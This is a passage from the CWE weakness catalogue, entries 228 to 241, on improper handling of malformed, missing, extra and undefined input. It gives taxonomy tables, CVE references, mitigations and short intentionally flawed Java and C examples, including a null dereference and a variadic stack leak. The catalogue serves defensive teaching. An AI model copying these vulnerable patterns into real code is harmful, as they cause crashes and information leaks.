This entry needs modification to clarify the differences with CWE-212. The description also combines two problems that are distinct from the CWE research perspective: the inadvertent transfer of information to another sphere, and improper initialization/shutdown. Some of the associated taxonomy mappings reflect these different uses.

### Research Gap

This is frequently found for network packets, but it can also exist in local memory allocation, files, etc.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Sensitive Information Uncleared Before Use
CERT C Secure Coding	MEM03-C		Clear sensitive information stored in reusable resources returned for reuse
Software Fault Patterns	SFP23		Exposed Data

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data

## CWE-228: Improper Handling of Syntactically Invalid Structure

**Weakness ID** : 228

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433
ChildOf	P	707	Improper Neutralization	1440
ParentOf	B	229	Improper Handling of Values	542
ParentOf	B	233	Improper Handling of Parameters	546
ParentOf	B	237	Improper Handling of Structural Elements	552
ParentOf	B	241	Improper Handling of Unexpected Data Type	555

### Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Unexpected State DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU)	
	<i>If an input is syntactically invalid, then processing the input could place the system in an unexpected state that could lead to a crash, consume available system resources or other unintended behaviors.</i>	

### Demonstrative Examples

#### Example 1:

This Android application has registered to handle a URL when sent an intent:

*Example Language: Java*

*(Bad)*

```

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}

```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	2131
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	2210

## Notes

### Maintenance

This entry needs more investigation. Public vulnerability research generally focuses on the manipulations that generate invalid structure, instead of the weaknesses that are exploited by those manipulations. For example, a common attack involves making a request that omits a required field, which can trigger a crash in some cases. The crash could be due to a named chain such as CWE-690 (Unchecked Return Value to NULL Pointer Dereference), but public reports rarely cover this aspect of a vulnerability.

### Theoretical

The validity of input could be roughly classified along "syntactic", "semantic", and "lexical" dimensions. If the specification requires that an input value should be delimited with the "[" and "]" square brackets, then any input that does not follow this specification would be syntactically invalid. If the input between the brackets is expected to be a number, but the letters "aaa" are provided, then the input is syntactically invalid. If the input is a number and enclosed in brackets, but the number is outside of the allowable range, then it is semantically invalid. The inter-relationships between these properties - and their associated weaknesses- need further exploration.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Structure and Validity Problems
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

## CWE-229: Improper Handling of Values

**Weakness ID** : 229

**Structure** : Simple

**Abstraction** : Base





### Description

The product does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		228	Improper Handling of Syntactically Invalid Structure	540
ParentOf		230	Improper Handling of Missing Values	543
ParentOf		231	Improper Handling of Extra Values	544
ParentOf		232	Improper Handling of Undefined Values	545

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Scope	Impact	Likelihood
-------	--------	------------

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	993	SFP Secondary Cluster: Incorrect Input Handling	888	2210

## CWE-230: Improper Handling of Missing Values

**Weakness ID :** 230

**Structure :** Simple

**Abstraction :** Variant

### Description

The product does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	229	Improper Handling of Values	542

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

#### Example 1:

This Android application has registered to handle a URL when sent an intent:

*Example Language: Java*

*(Bad)*

```

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}

```



The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

### Observed Examples

Reference	Description
<b>CVE-2002-0422</b>	Blank Host header triggers resultant infoleak. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0422">https://www.cve.org/CVERecord?id=CVE-2002-0422</a>
<b>CVE-2000-1006</b>	Blank "charset" attribute in MIME header triggers crash. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1006">https://www.cve.org/CVERecord?id=CVE-2000-1006</a>
<b>CVE-2004-1504</b>	Blank parameter causes external error infoleak. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1504">https://www.cve.org/CVERecord?id=CVE-2004-1504</a>
<b>CVE-2005-2053</b>	Blank parameter causes external error infoleak. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2053">https://www.cve.org/CVERecord?id=CVE-2005-2053</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf		993	SFP Secondary Cluster: Incorrect Input Handling	888	2210

### Notes

#### Research Gap

Some "crash by port scan" bugs are probably due to this, but lack of diagnosis makes it difficult to be certain.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Value Error
The CERT Oracle Secure Coding Standard for Java (2011)	ERR08-J		Do not catch NullPointerException or any of its ancestors

## CWE-231: Improper Handling of Extra Values

**Weakness ID** : 231

**Structure** : Simple

**Abstraction** : Variant

### Description

The product does not handle or incorrectly handles when more values are provided than expected.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		229	Improper Handling of Values	542

Nature	Type	ID	Name	Page
CanPrecede	ⓑ	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	ⓐ	993	SFP Secondary Cluster: Incorrect Input Handling	888	2210

### Notes

#### Relationship

This can overlap buffer overflows.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Extra Value Error

## CWE-232: Improper Handling of Undefined Values

**Weakness ID** : 232

**Structure** : Simple

**Abstraction** : Variant

### Description

The product does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	229	Improper Handling of Values	542

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

### Example 1:

In this example, an address parameter is read and trimmed of whitespace.

Example Language: Java

(Bad)

```
String address = request.getParameter("address");
address = address.trim();
String updateString = "UPDATE shippingInfo SET address=? WHERE email='cwe@example.com'";
emailAddress = con.prepareStatement(updateString);
emailAddress.setString(1, address);
```

If the value of the address parameter is null (undefined), the servlet will throw a NullPointerException when the trim() is attempted.

### Observed Examples

Reference	Description
<b>CVE-2000-1003</b>	Client crash when server returns unknown driver type. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1003">https://www.cve.org/CVERecord?id=CVE-2000-1003</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	Page
MemberOf		851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844 2158
MemberOf		993	SFP Secondary Cluster: Incorrect Input Handling	888 2210

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Undefined Value Error
The CERT Oracle Secure Coding Standard for Java (2011)	ERR08-J		Do not catch NullPointerException or any of its ancestors

## CWE-233: Improper Handling of Parameters

Weakness ID : 233

Structure : Simple

Abstraction : Base

### Description

The product does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		228	Improper Handling of Syntactically Invalid Structure	540
ParentOf		234	Failure to Handle Missing Parameter	547

Nature	Type	ID	Name	Page
ParentOf	V	235	Improper Handling of Extra Parameters	550
ParentOf	V	236	Improper Handling of Undefined Parameters	551

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2101

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

#### Example 1:

This Android application has registered to handle a URL when sent an intent:

*Example Language: Java*

*(Bad)*

```

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}

```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	2210

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Parameter Problems

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
39	Manipulating Opaque Client-based Data Tokens

## CWE-234: Failure to Handle Missing Parameter

Weakness ID : 234

**Structure** : Simple**Abstraction** : Variant


## Description

If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		233	Improper Handling of Parameters	546

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Gain Privileges or Assume Identity	
Availability		
Access Control	<i>There is the potential for arbitrary code execution with privileges of the vulnerable program if function parameter list is exhausted.</i>	
Availability	DoS: Crash, Exit, or Restart	
	<i>Potentially a program could fail if it needs more arguments then are available.</i>	

## Potential Mitigations

### Phase: Build and Compilation

This issue can be simply combated with the use of proper build process.

### Phase: Implementation

Forward declare all functions. This is the recommended solution. Properly forward declaration of all used functions will result in a compiler error if too few arguments are sent to a function.

## Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(Bad)*

```
foo_func(one, two);
void foo_func(int one, int two, int three) {
    printf("1) %d\n2) %d\n3) %d\n", one, two, three);
}
```

Example Language: C

(Bad)

```

void some_function(int foo, ...) {
    int a[3], i;
    va_list ap;
    va_start(ap, foo);
    for (i = 0; i < sizeof(a) / sizeof(int); i++) a[i] = va_arg(ap, int);
    va_end(ap);
}
int main(int argc, char *argv[]) {
    some_function(17, 42);
}

```

This can be exploited to disclose information with no work whatsoever. In fact, each time this function is run, it will print out the next 4 bytes on the stack after the two numbers sent to it.

### Observed Examples

Reference	Description
<b>CVE-2004-0276</b>	Server earlier allows remote attackers to cause a denial of service (crash) via an HTTP request with a sequence of "%" characters and a missing Host field. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0276">https://www.cve.org/CVERecord?id=CVE-2004-0276</a>
<b>CVE-2002-1488</b>	Chat client allows remote malicious IRC servers to cause a denial of service (crash) via a PART message with (1) a missing channel or (2) a channel that the user is not in. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1488">https://www.cve.org/CVERecord?id=CVE-2002-1488</a>
<b>CVE-2002-1169</b>	Proxy allows remote attackers to cause a denial of service (crash) via an HTTP request to helpout.exe with a missing HTTP version numbers. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1169">https://www.cve.org/CVERecord?id=CVE-2002-1169</a>
<b>CVE-2000-0521</b>	Web server allows disclosure of CGI source code via an HTTP request without the version number. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0521">https://www.cve.org/CVERecord?id=CVE-2000-0521</a>
<b>CVE-2001-0590</b>	Application server allows a remote attacker to read the source code to arbitrary 'jsp' files via a malformed URL request which does not end with an HTTP protocol specification. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0590">https://www.cve.org/CVERecord?id=CVE-2001-0590</a>
<b>CVE-2003-0239</b>	Chat software allows remote attackers to cause a denial of service via malformed GIF89a headers that do not contain a GCT (Global Color Table) or an LCT (Local Color Table) after an Image Descriptor. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0239">https://www.cve.org/CVERecord?id=CVE-2003-0239</a>
<b>CVE-2002-1023</b>	Server allows remote attackers to cause a denial of service (crash) via an HTTP GET request without a URI. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1023">https://www.cve.org/CVERecord?id=CVE-2002-1023</a>
<b>CVE-2002-1236</b>	CGI crashes when called without any arguments. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1236">https://www.cve.org/CVERecord?id=CVE-2002-1236</a>
<b>CVE-2003-0422</b>	CGI crashes when called without any arguments. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0422">https://www.cve.org/CVERecord?id=CVE-2003-0422</a>
<b>CVE-2002-1531</b>	Crash in HTTP request without a Content-Length field. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1531">https://www.cve.org/CVERecord?id=CVE-2002-1531</a>
<b>CVE-2002-1077</b>	Crash in HTTP request without a Content-Length field. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1077">https://www.cve.org/CVERecord?id=CVE-2002-1077</a>
<b>CVE-2002-1358</b>	Empty elements/strings in protocol test suite affect many SSH2 servers/clients. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1358">https://www.cve.org/CVERecord?id=CVE-2002-1358</a>
<b>CVE-2003-0477</b>	FTP server crashes in PORT command without an argument. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0477">https://www.cve.org/CVERecord?id=CVE-2003-0477</a>
<b>CVE-2002-0107</b>	Resultant infoleak in web server via GET requests without HTTP/1.0 version string. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0107">https://www.cve.org/CVERecord?id=CVE-2002-0107</a>



Reference	Description
<b>CVE-2002-0596</b>	GET request with empty parameter leads to error message infoleak (path disclosure). <a href="https://www.cve.org/CVERecord?id=CVE-2002-0596">https://www.cve.org/CVERecord?id=CVE-2002-0596</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		993	SFP Secondary Cluster: Incorrect Input Handling	888	2210

### Notes

#### Maintenance

This entry will be deprecated in a future version of CWE. The term "missing parameter" was used in both PLOVER and CLASP, with completely different meanings. However, data from both taxonomies was merged into this entry. In PLOVER, it was meant to cover malformed inputs that do not contain required parameters, such as a missing parameter in a CGI request. This entry's observed examples and classification came from PLOVER. However, the description, demonstrative example, and other information are derived from CLASP. They are related to an incorrect number of function arguments, which is already covered by CWE-685.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Parameter Error
CLASP			Missing parameter

## CWE-235: Improper Handling of Extra Parameters

**Weakness ID** : 235

**Structure** : Simple

**Abstraction** : Variant

### Description

The product does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		233	Improper Handling of Parameters	546

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Observed Examples

Reference	Description
<b>CVE-2003-1014</b>	MIE. multiple gateway/security products allow restriction bypass using multiple MIME fields with the same name, which are interpreted differently by clients. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1014">https://www.cve.org/CVERecord?id=CVE-2003-1014</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	2210
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

## Notes

### Relationship

This type of problem has a big role in multiple interpretation vulnerabilities and various HTTP attacks.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Extra Parameter Error

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
460	HTTP Parameter Pollution (HPP)

## CWE-236: Improper Handling of Undefined Parameters

**Weakness ID** : 236

**Structure** : Simple

**Abstraction** : Variant

### Description

The product does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	233	Improper Handling of Parameters	546

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Scope	Impact	Likelihood
-------	--------	------------

### Observed Examples

Reference	Description
<b>CVE-2002-1488</b>	Crash in IRC client via PART message from a channel the user is not in. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1488">https://www.cve.org/CVERecord?id=CVE-2002-1488</a>
<b>CVE-2001-0650</b>	Router crash or bad route modification using BGP updates with invalid transitive attribute. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0650">https://www.cve.org/CVERecord?id=CVE-2001-0650</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	993	SFP Secondary Cluster: Incorrect Input Handling	888	2210

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Undefined Parameter Error

## CWE-237: Improper Handling of Structural Elements

**Weakness ID** : 237

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not handle or incorrectly handles inputs that are related to complex structures.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>G</b>	228	Improper Handling of Syntactically Invalid Structure	540
ParentOf	<b>V</b>	238	Improper Handling of Incomplete Structural Elements	553
ParentOf	<b>V</b>	239	Failure to Handle Incomplete Element	554
ParentOf	<b>B</b>	240	Improper Handling of Inconsistent Structural Elements	555

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	19	Data Processing Errors	2101

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	2210

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Element Problems

## CWE-238: Improper Handling of Incomplete Structural Elements

**Weakness ID :** 238

**Structure :** Simple

**Abstraction :** Variant

### Description

The product does not handle or incorrectly handles when a particular structural element is not completely specified.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	237	Improper Handling of Structural Elements	552

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	2210

### Notes

#### Relationship

Can be primary to other problems.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Element Error

## CWE-239: Failure to Handle Incomplete Element

**Weakness ID :** 239

**Structure :** Simple

**Abstraction :** Variant



### Description

The product does not properly handle when a particular element is not completely specified.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		237	Improper Handling of Structural Elements	552
PeerOf		404	Improper Resource Shutdown or Release	927

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	

### Observed Examples

Reference	Description
<b>CVE-2002-1532</b>	HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1532">https://www.cve.org/CVERecord?id=CVE-2002-1532</a>
<b>CVE-2003-0195</b>	Partial request is not timed out. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0195">https://www.cve.org/CVERecord?id=CVE-2003-0195</a>
<b>CVE-2005-2526</b>	MFV. CPU exhaustion in printer via partial printing request then early termination of connection. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2526">https://www.cve.org/CVERecord?id=CVE-2005-2526</a>
<b>CVE-2002-1906</b>	CPU consumption by sending incomplete HTTP requests and leaving the connections open. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1906">https://www.cve.org/CVERecord?id=CVE-2002-1906</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		993	SFP Secondary Cluster: Incorrect Input Handling	888	2210

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Element

## CWE-240: Improper Handling of Inconsistent Structural Elements

**Weakness ID :** 240

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not handle or incorrectly handles when two or more structural elements should be consistent, but are not.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1440
ChildOf	ⓔ	237	Improper Handling of Structural Elements	552
ParentOf	ⓔ	130	Improper Handling of Length Parameter Inconsistency	336

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	ⓐ	993	SFP Secondary Cluster: Incorrect Input Handling	888	2210

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Inconsistent Elements

## CWE-241: Improper Handling of Unexpected Data Type

**Weakness ID :** 241

**Structure :** Simple

**Abstraction :** Base

### Description


The product does not handle or incorrectly handles when a particular element is not the expected type, e.g. it expects a digit (0-9) but is provided with a letter (A-Z).




## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		228	Improper Handling of Syntactically Invalid Structure	540

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Input Validation*

